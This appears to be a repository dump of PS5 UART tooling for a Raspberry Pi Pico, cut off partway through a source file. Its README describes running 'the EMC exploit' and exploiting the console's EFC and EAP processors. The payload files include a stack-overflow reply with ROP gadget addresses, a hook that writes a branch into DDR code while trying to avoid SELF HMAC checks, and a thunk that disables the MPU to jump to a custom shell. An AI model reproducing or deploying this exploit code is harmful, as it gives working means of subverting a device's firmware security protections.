├── .clang-format ├── .gitignore ├── CMakeLists.txt ├── README.md ├── bin_blobs ├── CMakeLists.txt ├── arm-toolchain.cmake ├── efc_stcm_counter.cpp ├── efc_stcm_counter.ld ├── efc_thunk.S ├── efc_thunk.ld ├── emc_cmd_handler.cpp ├── emc_cmd_handler.ld ├── emc_dled_hook.cpp ├── emc_dled_hook.ld ├── uart_shell.cpp └── uart_shell.ld ├── efc_fw.py ├── efc_fw_event.py ├── efc_rom.py ├── tool.py ├── uart ├── CMakeLists.txt ├── README.md ├── button.h ├── config │ └── tusb_config.h ├── emc_shellcode.S ├── i2c_bus.h ├── notes │ ├── bootlog_hcmd.txt │ ├── emc_header_dupe_near_wifi.jpg │ ├── success.png │ ├── uart_eap.txt │ └── update_timestamps.txt ├── ps5_uart.cpp ├── string_utils.h ├── types.h └── uart.h └── uart_client.py /.clang-format: -------------------------------------------------------------------------------- 1 | BasedOnStyle: Chromium 2 | IndentCaseLabels: false 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | .vscode/ 3 | bin/ 4 | build/ 5 | efc_logs/ 6 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.28) 2 | 3 | project(ps5_uart_tools C CXX ASM) 4 | 5 | option(ENABLE_DEBUG_STDIO 6 | "Creates additional cdc interface (0) for stdout/stdin; enables some debug spew") 7 | 8 | # The code is built as ExternalProjects. 9 | # I really wish this weren't the case, but I couldn't get cmake to 10 | # play nicely with the different toolchains being used. 11 | 12 | if(NOT ${CMAKE_BUILD_TYPE} STREQUAL MinSizeRel) 13 | message(FATAL_ERROR "CMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE}. Use MinSizeRel instead.") 14 | endif() 15 | 16 | include(ExternalProject) 17 | ExternalProject_Add(uart 18 | SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/uart 19 | CMAKE_ARGS 20 | -DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE} 21 | -DCMAKE_INSTALL_PREFIX=${CMAKE_SOURCE_DIR} 22 | -DENABLE_DEBUG_STDIO=${ENABLE_DEBUG_STDIO} 23 | BUILD_ALWAYS TRUE 24 | ) 25 | ExternalProject_Add(bin_blobs 26 | SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/bin_blobs 27 | CMAKE_ARGS 28 | -DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE} 29 | -DCMAKE_INSTALL_PREFIX=${CMAKE_SOURCE_DIR} 30 | BUILD_ALWAYS TRUE 31 | ) 32 | 33 | add_custom_target(ps5_uart_tools) 34 | add_dependencies(ps5_uart_tools uart bin_blobs) 35 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Typical build 2 | 3 | ``` 4 | mkdir build && cd build && cmake -GNinja .. && cmake --build . 5 | ``` 6 | 7 | Outputs will be placed in `bin/`. You'll want to program your pi pico with `bin/uart.uf2`, then run `tool.py`. See [uart/README.md](uart/README.md) for pico wiring instructions. 8 | 9 | ## Usage 10 | 11 | From `tool.py` interactive shell, `emc.screset()` will perform reset of syscon (EMC) and bring the rest of the board into consistent state. `emc.unlock()` runs the EMC exploit, which unlocks access to the full set of EMC commands (UCMD protocol). 12 | 13 | 14 | `emc.unlock_efc()` will exploit EFC and load `bin_blobs/uart_shell.cpp` onto it. `uart_client.py` is used for interacting with `uart_shell.cpp`. 15 | 16 | `emc.load_eap()` will exploit EAP and load `bin_blobs/uart_shell.cpp` onto it. `uart_client.py` is used for interacting with `uart_shell.cpp`. 17 | -------------------------------------------------------------------------------- /bin_blobs/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.28) 2 | 3 | set(CMAKE_TOOLCHAIN_FILE ${CMAKE_CURRENT_SOURCE_DIR}/arm-toolchain.cmake) 4 | 5 | project(bin_blobs C CXX ASM) 6 | 7 | set(CMAKE_C_STANDARD 23) 8 | set(CMAKE_C_STANDARD_REQUIRED TRUE) 9 | set(CMAKE_CXX_STANDARD 23) 10 | set(CMAKE_CXX_STANDARD_REQUIRED TRUE) 11 | 12 | find_program(CMAKE_OBJCOPY ${TOOLCHAIN_PREFIX}objcopy) 13 | 14 | function(add_bin TARGET SOURCES) 15 | add_executable(${TARGET}) 16 | 17 | target_sources(${TARGET} PRIVATE ${SOURCES}) 18 | 19 | set(EXTRA_ARGS ${ARGN}) 20 | list(LENGTH EXTRA_ARGS NUM_EXTRA_ARGS) 21 | if (${NUM_EXTRA_ARGS} GREATER 0) 22 | list(GET EXTRA_ARGS 0 LINK_SCRIPT_NAME) 23 | else() 24 | set(LINK_SCRIPT_NAME ${TARGET}.ld) 25 | endif() 26 | set(LINK_SCRIPT ${CMAKE_CURRENT_SOURCE_DIR}/${LINK_SCRIPT_NAME}) 27 | if(EXISTS ${LINK_SCRIPT}) 28 | set_target_properties(${TARGET} PROPERTIES 29 | LINK_FLAGS -T${LINK_SCRIPT} 30 | LINK_DEPENDS ${LINK_SCRIPT} 31 | ) 32 | endif() 33 | 34 | set(BIN_NAME ${TARGET}.bin) 35 | add_custom_command( 36 | TARGET ${TARGET} POST_BUILD 37 | COMMAND ${CMAKE_OBJCOPY} -O binary ${TARGET} ${BIN_NAME} 38 | ) 39 | 40 | install(FILES ${CMAKE_BINARY_DIR}/${BIN_NAME} TYPE BIN) 41 | endfunction() 42 | 43 | function(add_bin_emc TARGET SOURCES) 44 | add_bin(${TARGET} ${SOURCES} ${ARGN}) 45 | target_compile_definitions(${TARGET} PRIVATE CPU_EMC) 46 | target_compile_options(${TARGET} PRIVATE -mthumb -march=armv7-m) 47 | endfunction() 48 | 49 | function(add_bin_efc TARGET SOURCES) 50 | add_bin(${TARGET} ${SOURCES} ${ARGN}) 51 | target_compile_definitions(${TARGET} PRIVATE CPU_EFC) 52 | target_compile_options(${TARGET} PRIVATE -marm -mcpu=cortex-r5) 53 | endfunction() 54 | 55 | function(add_bin_eap TARGET SOURCES) 56 | add_bin(${TARGET} ${SOURCES} ${ARGN}) 57 | target_compile_definitions(${TARGET} PRIVATE CPU_EAP) 58 | target_compile_options(${TARGET} PRIVATE -marm -mcpu=cortex-a7) 59 | endfunction() 60 | 61 | add_bin_emc(emc_dled_hook emc_dled_hook.cpp) 62 | add_bin_emc(emc_cmd_handler emc_cmd_handler.cpp) 63 | 64 | add_bin_efc(efc_thunk efc_thunk.S) 65 | add_bin_efc(efc_stcm_counter efc_stcm_counter.cpp) 66 | 67 | add_bin_efc(efc_uart_shell uart_shell.cpp uart_shell.ld) 68 | add_bin_eap(eap_uart_shell uart_shell.cpp uart_shell.ld) 69 | -------------------------------------------------------------------------------- /bin_blobs/arm-toolchain.cmake: -------------------------------------------------------------------------------- 1 | set(CMAKE_SYSTEM_NAME Generic) 2 | set(CMAKE_SYSTEM_PROCESSOR ARM) 3 | 4 | set(TOOLCHAIN_PREFIX arm-none-eabi-) 5 | set(CMAKE_C_COMPILER ${TOOLCHAIN_PREFIX}gcc) 6 | set(CMAKE_CXX_COMPILER ${TOOLCHAIN_PREFIX}g++) 7 | set(CMAKE_ASM_COMPILER ${TOOLCHAIN_PREFIX}gcc) 8 | 9 | set(OBJECT_GEN_FLAGS "-Werror -Wall -ffunction-sections -fdata-sections -fomit-frame-pointer -nostartfiles -fno-exceptions") 10 | 11 | set(CMAKE_C_FLAGS "${OBJECT_GEN_FLAGS}" CACHE INTERNAL "C Compiler options") 12 | set(CMAKE_CXX_FLAGS "${OBJECT_GEN_FLAGS}" CACHE INTERNAL "C++ Compiler options") 13 | set(CMAKE_ASM_FLAGS "${OBJECT_GEN_FLAGS}" CACHE INTERNAL "ASM Compiler options") 14 | 15 | set(CMAKE_EXE_LINKER_FLAGS "--specs=nano.specs --specs=nosys.specs" CACHE INTERNAL "Linker options") 16 | -------------------------------------------------------------------------------- /bin_blobs/efc_stcm_counter.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using u32 = uint32_t; 4 | using vu32 = volatile u32; 5 | 6 | #define STCM_BASE 0x00900000 7 | 8 | #pragma GCC diagnostic ignored "-Wvolatile" 9 | 10 | static u32 mpidr_read() { 11 | u32 val; 12 | asm volatile("mrc p15, 0, %0, c0, c0, 5" : "=r"(val)); 13 | return val; 14 | } 15 | 16 | static void delay(u32 amount) { 17 | for (vu32 i = 0; i < amount; i++) {} 18 | } 19 | 20 | void stcm_counter() { 21 | auto counters = (vu32 *)STCM_BASE; 22 | auto counter = &counters[mpidr_read()]; 23 | *counter = 0; 24 | while (true) { 25 | delay(1000); 26 | *counter++; 27 | } 28 | } -------------------------------------------------------------------------------- /bin_blobs/efc_stcm_counter.ld: -------------------------------------------------------------------------------- 1 | ENTRY(stcm_counter) 2 | SECTIONS { 3 | SRAM_BASE = 0x01000000; 4 | .code SRAM_BASE : { 5 | *(.text.stcm_counter) 6 | *(.text*) 7 | *(.data*) 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /bin_blobs/efc_thunk.S: -------------------------------------------------------------------------------- 1 | .syntax unified 2 | .cpu cortex-r5 3 | .thumb 4 | 5 | .equ SPM_BASE, 0x18308000 6 | 7 | @ void sccmd_write_status(u32 status, u32 a2, u32 a3, u32 a4, u32 a5) 8 | .equ sccmd_write_status, 0x0B506|1 9 | @ void sccmd_trigger_reply() 10 | .equ sccmd_trigger_reply, 0x0B4E8|1 11 | .equ memcpy, 0x07F4 12 | 13 | .equ uart0_mute, 0x9086D8 14 | 15 | .macro mov32, reg, val 16 | movw \reg, #:lower16:\val 17 | movt \reg, #:upper16:\val 18 | .endm 19 | 20 | .macro blxi, reg, target 21 | mov32 \reg, \target 22 | blx \reg 23 | .endm 24 | 25 | .global _start 26 | _start: 27 | push {r3-r11,lr} 28 | 29 | @ enable uart 30 | mov32 r3, uart0_mute 31 | mov r4, 0 32 | strb r4, [r3] 33 | 34 | @ reply to emc sccmd 35 | blxi r4, sccmd_write_status 36 | blxi r4, sccmd_trigger_reply 37 | 38 | @ set a cookie 39 | mov32 r3, SPM_BASE 40 | mov r0, 0x1337 41 | str r0, [r3] 42 | 43 | ldr r1, [r3, 4] 44 | cmp r1, r0 45 | bne use_fw_shell 46 | 47 | @ jump to our own uart shell 48 | cpsid aif 49 | 50 | mrc p15, 0, r0, c1, c0, 0 51 | @ disable caches 52 | @ TODO properly flush before this 53 | mov r1, ((1 << 12) | (1 << 2)) 54 | bic r0, r1 55 | @ disable mpu 56 | bic r0, 1 57 | dsb 58 | mcr p15, 0, r0, c1, c0, 0 59 | dsb 60 | isb 61 | 62 | mov32 r0, 0x58800000 63 | mov sp, r0 64 | blxi r0, 0x58000000 65 | 66 | use_fw_shell: 67 | 68 | @ mrc p15, 0, r3, c1, c0, 0 69 | @ mov r5, r3 70 | @ @ disable caches 71 | @ mov r3, ((1 << 12) | (1 << 2)) 72 | @ @ disable mpu (will screw up crash handling) 73 | @ @orr r4, 1 74 | @ bic r3, 1 75 | @ @ enable background mode 76 | @ orr r3, (1 << 17) 77 | @ dsb 78 | @ mcr p15, 0, r3, c1, c0, 0 79 | @ dsb 80 | @ isb 81 | @ 82 | @ mov32 r3, SPM_BASE+0x10 83 | @ mov32 r0, 0 84 | @ mov32 r2, 0x1000 85 | @1: 86 | @ ldr r1, [r0], 4 87 | @ str r1, [r3], 4 88 | @ cmp r0, r2 89 | @ bne 1b 90 | @ 91 | @ mov r3, r5 92 | @ dsb 93 | @ mcr p15, 0, r3, c1, c0, 0 94 | @ dsb 95 | @ isb 96 | 97 | @ when ATCM is disabled, sram(the 0x1e0000 sized one) appears at 0 98 | 99 | @ MIDR 100 | @ on efc core0: 41_1_F_C15_3 ARM Cortex-R5 r1p3 101 | @mrc p15, 0, r0, c0, c0, 0 102 | @ TCMTR: 00010001 (1 DTCM, 1 ITCM) 103 | @mrc p15, 0, r0, c0, c0, 2 104 | @ SCTLR: 00ED1C7D 105 | @mrc p15, 0, r0, c1, c0, 0 106 | @ ATCM region: 00000031, 2MB 107 | @mrc p15, 0, r0, c9, c1, 1 108 | @ BTCM region: 00800031, 2MB 109 | @mrc p15, 0, r0, c9, c1, 0 110 | @ Build Options 1: 00800000,TCM_HI_INIT_ADDR=00800000, no bus-ecc 111 | @mrc p15, 0, r0, c15, c2, 0 112 | @ Build Options 2: 0EFFC1D2, no fpu, 16mpu regions 113 | @mrc p15, 0, r0, c15, c2, 1 114 | 115 | @ LLPP Normal AXI region: 14000045, size=0b10001 116 | @mrc p15, 0, r0, c15, c0, 1 117 | @ LLPP Virtual AXI region: 00000000 118 | @mrc p15, 0, r0, c15, c0, 2 119 | @ AHB peripheral interface region: 10000045 120 | @mrc p15, 0, r0, c15, c0, 3 121 | 122 | @ DIDR: 77040013 123 | @mrc p14, 0, r0, c0, c0, 0 124 | @ DRAR: 18180003 125 | @mrc p14, 0, r0, c1, c0, 0 126 | @ DSAR: 00010003 127 | @mrc p14, 0, r0, c2, c0, 0 128 | 129 | pop {r3-r11,pc} 130 | -------------------------------------------------------------------------------- /bin_blobs/efc_thunk.ld: -------------------------------------------------------------------------------- 1 | SECTIONS { 2 | .text 0x404DBE64 : { 3 | *(.text) 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /bin_blobs/emc_cmd_handler.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | using u8 = uint8_t; 8 | using u16 = uint16_t; 9 | using u32 = uint32_t; 10 | using vu32 = volatile uint32_t; 11 | 12 | enum StatusCode : u32 { 13 | kSuccess = 0, 14 | kRxInputTooLong = 0xE0000002, 15 | kRxInvalidChar = 0xE0000003, 16 | kRxInvalidCsum = 0xE0000004, 17 | kUcmdEINVAL = 0xF0000001, 18 | kUcmdUnknownCmd = 0xF0000006, 19 | // SyntheticError (our own codes) 20 | kEmcInReset = 0xdead0000, 21 | kFwConstsVersionFailed, 22 | kFwConstsVersionUnknown, 23 | kFwConstsInvalid, 24 | kSetPayloadTooLarge, 25 | kSetPayloadPuareq1Failed, 26 | kSetPayloadPuareq2Failed, 27 | kExploitVersionUnexpected, 28 | kExploitFailedEmcReset, 29 | kSpiInitFailed, 30 | }; 31 | 32 | extern "C" { 33 | void ucmd_send_status(u32 uart_index, u32 status, int no_newline); // 12C044 T 34 | int parse_u32(const char* a1, u32* val); // 14CB3A T 35 | int ucmd_printf(u32 uart_index, const char* fmt, ...); 36 | int titania_spi_init(void); 37 | int sflash_read_imm(u32 src, u8 *dst, u32 len); 38 | int msleep(int amount); 39 | } 40 | 41 | enum { 42 | kToggle, 43 | kToggleFast, 44 | kTitaniaSpiInit, 45 | kSflashDump, 46 | kDdrUpload, 47 | kDdrWriteHook, 48 | }; 49 | 50 | static inline void delay(size_t delay) { 51 | // don't want to use volatile counter (generates loads/stores) 52 | // just want compiler to not optimize the loop out completely 53 | while (delay--) { 54 | std::atomic_signal_fence(std::memory_order_relaxed); 55 | } 56 | } 57 | 58 | struct ParsedArgs { 59 | ParsedArgs(const char* cmdline, u8* offsets) { 60 | for (count = 0; count < args.size(); count++) { 61 | const auto offset = offsets[count]; 62 | if (!offset) { 63 | break; 64 | } 65 | if (parse_u32(&cmdline[offset], &args[count])) { 66 | break; 67 | } 68 | } 69 | } 70 | bool has_at_least(size_t wanted) const { return count >= wanted; } 71 | 72 | size_t count{}; 73 | std::array args{}; 74 | }; 75 | 76 | // NOTE: gpio a16 and a29 are both in gpio2 register bank (5F032000) 77 | // 5F032420 is the data reg. 78 | // a16 = 0x80 79 | // a29 = 0x100000 80 | static void toggle(u32 addr, u32 val, u32 set, u32 delay_amount) { 81 | auto ptr = (vu32*)addr; 82 | // TODO mask irq around? 83 | u32 tmp = *ptr; 84 | if (set) { 85 | *ptr = tmp | val; 86 | delay(delay_amount); 87 | *ptr = tmp; 88 | } else { 89 | *ptr = tmp & ~val; 90 | delay(delay_amount); 91 | *ptr = tmp; 92 | } 93 | } 94 | 95 | static void toggle_fast(u32 addr, u32 val) { 96 | auto ptr = (vu32*)addr; 97 | u32 tmp = *ptr; 98 | *ptr = tmp & ~val; 99 | *ptr = tmp; 100 | } 101 | 102 | static void sflash_dump(u32 uart_index, u32 addr, u32 count) { 103 | for (u32 i = 0; i < count; i++) { 104 | u8 buf[0x7c]{}; 105 | sflash_read_imm(addr, buf, sizeof(buf)); 106 | 107 | char str[sizeof(buf) * 2 + 1]{}; 108 | const char lut[] = "0123456789ABCDEF"; 109 | char *s = str; 110 | for (size_t j = 0; j < sizeof(buf); j++) { 111 | u8 b = buf[j]; 112 | *s++ = lut[b >> 4]; 113 | *s++ = lut[b & 0xf]; 114 | } 115 | ucmd_printf(uart_index, "%s\n", str); 116 | 117 | addr += sizeof(buf); 118 | } 119 | } 120 | 121 | static void ddr_write_18(u32 offset, void *data) { 122 | void *dst = (void*)(0x60000000ul + offset); 123 | memcpy(dst, data, sizeof(u32) * 6); 124 | } 125 | 126 | static void ddr_write_hook(u32 uart_index, u32 offset, u32 match, u32 target) { 127 | vu32 *p_val = (vu32*)(0x60000000ul + 0x20000000ul + offset); 128 | u32 cur_val = 0; 129 | u32 timeout = 1000; 130 | while (cur_val != match) { 131 | u32 val = *p_val; 132 | if (val == cur_val) { 133 | if (!timeout--) { 134 | timeout = 1000; 135 | msleep(1); 136 | } 137 | continue; 138 | } 139 | cur_val = val; 140 | ucmd_printf(uart_index, "%x\n", cur_val); 141 | } 142 | // TODO need to avoid getting caught by SELF hmac 143 | p_val[0] = 0xe51ff004; // ldr pc, [pc, #-4] 144 | p_val[1] = 0x40000000 | target | 1; // phys addr, thumb 145 | } 146 | 147 | // overwrite some existing handler with this 148 | extern "C" void ucmd_handler(u32 uart_index, const char* cmdline, u8* offsets) { 149 | ParsedArgs parsed(cmdline, offsets); 150 | u32 status = kUcmdEINVAL; 151 | 152 | if (!parsed.has_at_least(1)) { 153 | ucmd_send_status(uart_index, status, 0); 154 | return; 155 | } 156 | 157 | switch (parsed.args[0]) { 158 | case kToggle: 159 | if (!parsed.has_at_least(1 + 4)) { 160 | break; 161 | } 162 | toggle(parsed.args[1], parsed.args[2], parsed.args[3], parsed.args[4]); 163 | status = kSuccess; 164 | break; 165 | case kToggleFast: 166 | if (!parsed.has_at_least(1 + 2)) { 167 | break; 168 | } 169 | toggle_fast(parsed.args[1], parsed.args[2]); 170 | status = kSuccess; 171 | break; 172 | case kTitaniaSpiInit: 173 | status = (titania_spi_init() == 0) ? kSuccess : kSpiInitFailed; 174 | break; 175 | case kSflashDump: 176 | if (!parsed.has_at_least(1 + 2)) { 177 | break; 178 | } 179 | sflash_dump(uart_index, parsed.args[1], parsed.args[2]); 180 | status = kSuccess; 181 | break; 182 | case kDdrUpload: 183 | if (!parsed.has_at_least(1 + 6)) { 184 | break; 185 | } 186 | ddr_write_18(parsed.args[1], &parsed.args[2]); 187 | status = kSuccess; 188 | break; 189 | case kDdrWriteHook: 190 | if (!parsed.has_at_least(1 + 3)) { 191 | break; 192 | } 193 | ddr_write_hook(uart_index, parsed.args[1], parsed.args[2], parsed.args[3]); 194 | status = kSuccess; 195 | break; 196 | } 197 | ucmd_send_status(uart_index, status, 0); 198 | } 199 | -------------------------------------------------------------------------------- /bin_blobs/emc_cmd_handler.ld: -------------------------------------------------------------------------------- 1 | ENTRY(ucmd_handler) 2 | SECTIONS { 3 | ucmd_send_status = 0x12C044 | 1; 4 | parse_u32 = 0x14CB3A | 1; 5 | titania_spi_init = 0x12A424 | 1; 6 | # need to provide memset if using -nostdlib 7 | # if just using -nostartfiles, we'll get toolchain's memset 8 | memset = 0x150872 | 1; 9 | # for debug 10 | ucmd_printf = 0x12BF6A | 1; 11 | sflash_read_imm = 0x1121F2 | 1; 12 | msleep = 0x12F560 | 1; 13 | 14 | .code 0x141458 : { 15 | *(.text.ucmd_handler) 16 | *(.text*) 17 | *(.*data*) 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /bin_blobs/emc_dled_hook.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | arm-none-eabi-g++ -Os -mthumb -march=armv7-m -nostdlib -fpie -fno-exceptions -ffunction-sections -Wall -Werror emc_dled_hook.cpp -Temc_dled_hook.ld -o emc_dled_hook && arm-none-eabi-objcopy -O binary emc_dled_hook 3 | */ 4 | #include 5 | 6 | using u8 = uint8_t; 7 | using u16 = uint16_t; 8 | using u32 = uint32_t; 9 | 10 | extern "C" { 11 | int hcmd_sys_make_head_param(void *req, void **reply, u32 len); 12 | } 13 | 14 | #pragma pack(push, 1) 15 | struct IccHeader { 16 | u8 cpu_id; 17 | u8 srv; 18 | u16 msg; 19 | u16 src; 20 | u16 tid; 21 | u16 size; 22 | u16 csum; 23 | }; 24 | struct IccReply { 25 | IccHeader hdr; 26 | u16 status; 27 | }; 28 | struct OverflowData { 29 | u32 cookie; 30 | // dled_set return 31 | // sp should be 5AFA8 after popping 32 | // POP {R4-R8,R10,R11,LR} 33 | u32 r4,r5,r6,r7,r8,r10,r11,lr; 34 | // gadget @ 0x9930 35 | // pc comes from new stack! 36 | // POP {R0-R12} 37 | // LDMFD SP, {SP,LR}^ 38 | // ADD SP, SP, #8 39 | // POP {PC}^ 40 | //u32 ctx_regs[16]; 41 | // 775C 42 | // MOV SP, R11 43 | // POP {R11,PC} 44 | //u32 stack_swap[2]; 45 | }; 46 | struct HackMsg { 47 | IccReply reply; 48 | u8 pad[0x20 - sizeof(IccReply)]; 49 | OverflowData overflow; 50 | }; 51 | #pragma pack(push) 52 | 53 | /* 54 | initial sctlr: 0xC50078 55 | mmu_enable: |= 0x1085 56 | 57 | SP = 0x5b000 58 | 13EB0 59 | PUSH {R4-R9,R11,LR} 8 0x5afe0 60 | ... 61 | SUB SP, SP, #0x10 4 0x5afd0 62 | 93D8 63 | SUB SP, SP, #0xC 3 0x5afc4 64 | PUSH {R11,LR} 2 0x5afbc 65 | ... 66 | SUB SP, SP, #4 1 0x5afb8 67 | 9400 68 | PUSH {R4,R5,R11,LR} 4 0x5afa8 69 | C118 70 | PUSH {R4-R8,R10,R11,LR} 8 0x5af88 71 | */ 72 | 73 | /* 74 | seg000:000266F8 LDR R2, [SP,#8] 75 | seg000:000266FC LDR R3, [SP,#0xC] 76 | seg000:00026700 ADD SP, SP, #0x10 77 | seg000:00026704 POP {R11,PC} 78 | 79 | seg000:00002834 MOV R0, R4 80 | seg000:00002838 POP {R4,R10,R11,PC} 81 | 82 | seg000:000040C4 MOV R0, R4 83 | seg000:000040C8 SUB SP, R11, #0x1C 84 | seg000:000040CC POP {R4-R11,PC} 85 | 86 | seg000:000044E8 LDR R0, [R0,R4] 87 | seg000:000044EC POP {R4,R10,R11,PC} 88 | 89 | seg000:00012790 MOV R0, R4 ; a1 90 | seg000:00012794 POP {R4,R10,R11,LR} 91 | seg000:00012798 BX R2 92 | 93 | seg000:0001F540 POP {R4-R9,R11,PC} 94 | 95 | seg000:0000D274 MOV R0, R6 96 | seg000:0000D278 MOV R1, R10 97 | seg000:0000D27C MOV R2, R8 98 | seg000:0000D280 BLX R5 99 | seg000:0000D284 SUB SP, R11, #0x1C 100 | seg000:0000D288 POP {R4-R11,PC} 101 | 102 | seg000:000269FC MOV R0, R6 103 | seg000:00026A00 MOV R1, R5 104 | seg000:00026A04 SUB SP, R11, #0x1C 105 | seg000:00026A08 POP {R4-R11,PC} 106 | 107 | seg000:000076EC POP {R11,LR} 108 | seg000:000076F0 BX R3 109 | */ 110 | 111 | static int set_hack_reply(IccHeader *req, HackMsg **reply) { 112 | u16 reply_len = sizeof(HackMsg); 113 | if (hcmd_sys_make_head_param(req, (void**)reply, reply_len)) { 114 | return 2308; 115 | } 116 | (*reply)->reply.hdr.tid = 0; 117 | auto& ov = (*reply)->overflow; 118 | ov.cookie = 0x91E64730; 119 | // TODO just put ropchain in here instead of python? 120 | ov.r5 = 0x119C; // nop 121 | ov.r11 = 0x58800000; 122 | ov.lr = 0x775C; 123 | return 0; 124 | } 125 | 126 | // replace hcmd_srv_9_dled_msg_20_set 0x121988 T 127 | // must be <= 0xf4 128 | extern "C" int dled_set(IccHeader *req, HackMsg **reply) { 129 | return set_hack_reply(req, reply); 130 | } 131 | 132 | // 123F9C T 133 | extern "C" int hcmd_srv_7_wdt_deliver(IccHeader *req, HackMsg **reply) { 134 | if (req->msg == 0) { 135 | // wdt_start 136 | return set_hack_reply(req, reply); 137 | } 138 | return hcmd_sys_make_head_param(req, (void**)reply, 32); 139 | } 140 | -------------------------------------------------------------------------------- /bin_blobs/emc_dled_hook.ld: -------------------------------------------------------------------------------- 1 | ENTRY(dled_set) 2 | SECTIONS { 3 | # need to provide memset if using -nostdlib 4 | # if just using -nostartfiles, we'll get toolchain's memset 5 | memset = 0x150872 | 1; 6 | hcmd_sys_make_head_param = 0x114DB2 | 1; 7 | 8 | .dled_set 0x121988 : { 9 | *(.text.dled_set) 10 | *(.text*) 11 | *(.*data*) 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /bin_blobs/uart_shell.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | typedef uint8_t u8; 7 | typedef uint16_t u16; 8 | typedef uint32_t u32; 9 | typedef uint64_t u64; 10 | typedef volatile u8 vu8; 11 | typedef volatile u16 vu16; 12 | typedef volatile u32 vu32; 13 | typedef volatile u64 vu64; 14 | 15 | // UART0: EFC firmware 16 | // UART1: Titania bootrom, EAP firmware (+APU, ...) 17 | #define UART0_BASE 0x11010000 18 | #define UART1_BASE 0x11010100 19 | 20 | void* memset(void* ptr, int value, size_t num) { 21 | auto p = (u8*)ptr; 22 | while (num--) { 23 | *p++ = (u8)value; 24 | } 25 | return ptr; 26 | } 27 | 28 | static inline u32 arm_cpsr_read() { 29 | u32 cpsr; 30 | asm volatile("mrs %0, cpsr" : "=r"(cpsr)); 31 | return cpsr; 32 | } 33 | 34 | struct ArmSR { 35 | u32 coproc{}; 36 | u32 op1{}; 37 | u32 crn{}; 38 | u32 crm{}; 39 | u32 op2{}; 40 | }; 41 | 42 | constexpr ArmSR DBGDRAR{14, 0, 1, 0, 0}; 43 | constexpr ArmSR DBGDSAR{14, 0, 2, 0, 0}; 44 | constexpr ArmSR DBGPRCR{14, 0, 1, 4, 4}; 45 | constexpr ArmSR MIDR{15, 0, 0, 0, 0}; 46 | constexpr ArmSR SCTLR{15, 0, 1, 0, 0}; 47 | constexpr ArmSR ACTLR{15, 0, 1, 0, 1}; 48 | constexpr ArmSR VBAR{15, 0, 12, 0, 0}; 49 | constexpr ArmSR DFSR{15, 0, 5, 0, 0}; 50 | constexpr ArmSR DFAR{15, 0, 6, 0, 0}; 51 | 52 | constexpr inline void arm_dsb() { 53 | asm volatile("dsb" ::: "memory"); 54 | } 55 | 56 | constexpr inline void arm_isb() { 57 | asm volatile("isb" ::: "memory"); 58 | } 59 | 60 | constexpr inline u32 arm_rsr(const ArmSR& sr) { 61 | return __arm_mrc(sr.coproc, sr.op1, sr.crn, sr.crm, sr.op2); 62 | } 63 | 64 | constexpr inline void arm_wsr(const ArmSR& sr, u32 value) { 65 | __arm_mcr(sr.coproc, sr.op1, value, sr.crn, sr.crm, sr.op2); 66 | arm_dsb(); 67 | arm_isb(); 68 | } 69 | 70 | struct DAbortRecord { 71 | u32 addr{UINT32_MAX}; 72 | u32 status{UINT32_MAX}; 73 | }; 74 | static DAbortRecord g_abort_status; 75 | 76 | struct Uart { 77 | static constexpr u8 UART_FCR_FIFOE{1 << 0}; 78 | static constexpr u8 UART_FCR_FIFO64{1 << 5}; 79 | static constexpr u8 UART_LSR_RX_READY{1 << 0}; 80 | static constexpr u8 UART_LSR_TEMT{1 << 6}; 81 | 82 | enum class Timeout : u32 { 83 | Infinite = 0xffffffff, 84 | }; 85 | 86 | template 87 | struct RegLayout { 88 | // XXX titania specific 89 | RegType reg0; 90 | RegType reg1; 91 | RegType reg2; 92 | RegType reg3; 93 | RegType reg4; 94 | RegType reg5; 95 | RegType reg6; 96 | RegType reg7; 97 | RegType reg8; 98 | }; 99 | using Regs = RegLayout; 100 | 101 | Uart() { 102 | // eap_kbl normally inits/uses uart1 103 | // On EAP, we can use uart0 (which hasn't really been setup) as-is, 104 | // but the baudrate seems to be ~700000 105 | regs_ = (Regs*)UART0_BASE; 106 | } 107 | u32 fifo_max_len() const { 108 | u32 len = 1; 109 | // u8 fcr = regs_->fcr; 110 | // if (fcr & UART_FCR_FIFOE) { 111 | // len = (fcr & UART_FCR_FIFO64) ? 64 : 16; 112 | // } 113 | return len; 114 | } 115 | inline bool rx_ready() const { 116 | // regs_->lsr & UART_LSR_RX_READY 117 | return (regs_->reg3 >> 4) & 1; 118 | } 119 | inline bool tx_ready() const { 120 | // regs_->lsr & UART_LSR_TEMT 121 | return (regs_->reg3 >> 5) & 1; 122 | } 123 | void wait_tx_ready() const { 124 | while (!tx_ready()) { 125 | } 126 | } 127 | bool wait_rx_ready(Timeout timeout) const { 128 | u32 rem = (u32)timeout; 129 | while (!rx_ready()) { 130 | if (timeout == Timeout::Infinite) { 131 | continue; 132 | } 133 | if (rem == 0) { 134 | return false; 135 | } 136 | rem--; 137 | } 138 | return true; 139 | } 140 | void write(const u8* buf, u32 len) { 141 | const u32 fifo_len = fifo_max_len(); 142 | const u8* p = buf; 143 | while (len) { 144 | wait_tx_ready(); 145 | for (u32 i = 0; i < fifo_len && len; i++, len--) { 146 | regs_->reg1 = *p++; 147 | } 148 | } 149 | } 150 | void write(const char* buf) { write((const u8*)buf, strlen(buf)); } 151 | template 152 | void write(const T& data) { 153 | write((const u8*)&data, sizeof(T)); 154 | } 155 | bool read_byte(u8* data, Timeout timeout) { 156 | if (!wait_rx_ready(timeout)) { 157 | return false; 158 | } 159 